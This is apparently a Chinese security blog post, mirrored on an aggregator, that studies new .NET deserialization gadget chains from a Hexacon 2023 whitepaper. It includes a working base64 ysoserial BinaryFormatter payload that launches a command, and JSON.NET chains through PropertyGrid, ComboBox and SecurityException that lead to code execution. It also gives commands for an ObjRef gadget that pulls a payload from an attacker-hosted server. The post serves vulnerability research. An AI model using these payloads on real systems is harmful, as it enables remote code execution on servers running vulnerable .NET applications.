5

dotnet反序列化新链学习

 9 months ago
source link: https://y4er.com/posts/dotnet-new-gadget/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

dotnet反序列化新链学习

 2023-10-23  2023-10-23  约 1964 字  预计阅读 4 分钟 

@chudyPB在Hexacon 2023会议上发布了他的dotnet反序列化的研究白皮书,一个长达124页的pdf,这是我看过最强的一篇关于dotnet序列化漏洞的文章。

chudyPB从SolarWinds的json.net反序列化出发,从反序列化到黑名单绕过,其中黑名单绕过用到了多个gadget,其中有SolarWinds代码库中的,也有三方库中的。通过不断的黑名单绕过,展示了SolarWinds的多个历史漏洞。

然后展示了Delta Electronics InfraSuite Device Master中MessagePack的反序列化漏洞,针对该产品的设计架构,然后引出一个更大的利用面,即反序列化的恶意对象如果被再次序列化也会触发某些恶意操作。

image.png

对我而言这是一个新的利用面:不安全的序列化(Insecure Serialization),发生在序列化阶段。

接着作者对Insecure Serialization展示了几个gadget,然后由于序列化阶段调用的是getter,所以作者又找了几个getter call的gadget,然后串起来成为新的反序列化gadget。接下来我将主要对这部分进行学习。

# 不安全的序列化

image.png

1 SettingsPropertyValue

image.png



image.png



image.png

根据serializeAs进行binaryformatter.deserialize(),参数都是可控的。

写出对应代码测试一下

using Newtonsoft.Json;
using System.Configuration;

namespace ConsoleApp2
{
    internal class Program
    {
        static void Main(string[] args)
        {
            SettingsProperty settingsProperty = new SettingsProperty("aa");
            settingsProperty.SerializeAs = SettingsSerializeAs.Binary;
            SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(settingsProperty);
            settingsPropertyValue.Deserialized = false;
            // ysoserial.exe -c calc -g TextFormattingRunProperties -f binaryformatter
            settingsPropertyValue.SerializedValue = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==";
            JsonConvert.SerializeObject(settingsPropertyValue, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.All });
        }
    }
}



image.png

可以看到通过序列化调用getter时弹出了计算器

2 SecurityException

image.png



image.png

image.png

朴实无华,但是在实际写的时候发现了问题。直接调用getter确实可以,但是通过json.net不行,究其原因发现json.net在序列化时,如果重写了序列化函数GetObjectData,则会调用该函数来序列化,binaryformatter也是一样。

image.png

所以不会触发getter。作者也写了限制

不过无所谓,可以和后面的任意getter call串起来。

3 CompilerResults

dll加载,略

# 任意getter call

image.png

1 PropertyGrid

他的SelectedObjects setter中可以调用obj的所有getter

{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "SelectedObjects": [
        {
            "your": "object"
        }
    ]
}

东西太多 直接看堆栈

System.Object System.ComponentModel.PropertyDescriptor::GetValue(System.Object)
System.Windows.Forms.PropertyGridInternal.GridEntry[]
System.Windows.Forms.PropertyGridInternal.GridEntry::GetPropEntries(System.Windows.Forms.PropertyGridInternal.GridEntry,System.Object,System.Type)
System.Boolean System.Windows.Forms.PropertyGridInternal.GridEntry::CreateChildren(System.Boolean)
System.Void System.Windows.Forms.PropertyGridInternal.GridEntry::Refresh()
System.Void System.Windows.Forms.PropertyGrid::UpdateSelection()
System.Void System.Windows.Forms.PropertyGrid::RefreshProperties(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::Refresh(System.Boolean)
System.Void System.Windows.Forms.PropertyGrid::set_SelectedObjects(System.Object[])

循环遍历SelectedObjects,然后调用object的所有getter

2 ComboBox

{
    "$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [
        {
            "your": "obj"
        }
    ],
    "DisplayMember": "obj的成员名称",
    "Text": "whatever"
}

3 ListBox

和ComboBox大同小异

{
    "$type": "System.Windows.Forms.ListBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [
        {
            "your": "object"
        }
    ],
    "DisplayMember": "MaliciousMember",
    "Text": "whatever"
}

4 CheckedListBox

和上面一样,不写了

  • PropertyGrid+SecurityException
  • PropertyGrid+SettingsPropertyValue
  • ListBox+SecurityException
  • ListBox+SettingsPropertyValue
  • ComboBox+SecurityException
  • ComboBox+SettingsPropertyValue
  • CheckedListBox+SecurityException
  • CheckedListBox+SettingsPropertyValue

写几个简单的

1 PropertyGrid + SecurityException

{
    "$type": "System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "SelectedObjects": [
        {
            "$type": "System.Security.SecurityException",
            "ClassName": "System.Security.SecurityException",
            "Message": "Security error.",
            "Data": null,
            "InnerException": null,
            "HelpURL": null,
            "StackTraceString": null,
            "RemoteStackTraceString": null,
            "RemoteStackIndex": 0,
            "ExceptionMethod": null,
            "HResult": -2146233078,
            "Source": null,
            "WatsonBuckets": null,
            "Action": 0,
            "FirstPermissionThatFailed": null,
            "Demanded": null,
            "GrantedSet": null,
            "RefusedSet": null,
            "Denied": null,
            "PermitOnly": null,
            "Assembly": null,
            "Method": "base64-encoded-binaryformatter-gadget",
            "Method_String": null,
            "Zone": 0,
            "Url": null
        }
    ]
}



image.png

json.net对其进行处理时,会先把里层的SecurityException对象反序列化出来,然后把SecurityException对象传递给SelectedObjects的setter,这个setter可以调用SecurityException对象的getter,当执行到get_Method时就触发了BinaryFormatter rce。

由此,从setter->getter->rce的链串起来了。

2 ComboBox+SettingsPropertyValue

{
    "$type": "System.Windows.Forms.ComboBox, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "Items": [
        {
            "$type": "System.Configuration.SettingsPropertyValue, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
            "Name": "test",
            "IsDirty": false,
            "SerializedValue": {
                "$type": "System.Byte[], mscorlib",
                "$value": "base64-encoded-binaryformatter-gadget"
            },
            "Deserialized": false
        }
    ],
    "DisplayMember": "PropertyValue",
    "Text": "whatever"
}



image.png

同样setter->getter->rce

# 其他gadget

1 ObjRef

今天才看到ysoserial.net新增了很多gadget,其中有一条类似于java中的jrmp client,找了找,原始的利用文章在这, https://code-white.com/blog/2022-01-dotnet-remoting-revisited/

利用也很简单

# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe  > MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap

# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

通过Remoting来进行soap反序列化,其实也能用来做dnslog。

2 SSRF PictureBox

image.png



image.png

比较可惜的是PictureBox没继承Serializable接口,不能被BinaryFormatter这种原生formatter序列化。

3 dotnet5

白皮书最后提到了dotnet5的payload,我觉得都不太好用,需要启用wpf,或者需要PresentationFramework.dll,而且都是dll加载,不过也算是新的gadget了,记一下。

  1. ObjectDataProvider
  2. BaseActivationFactory
  3. CompilerResults

看我文章不如看原pdf。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK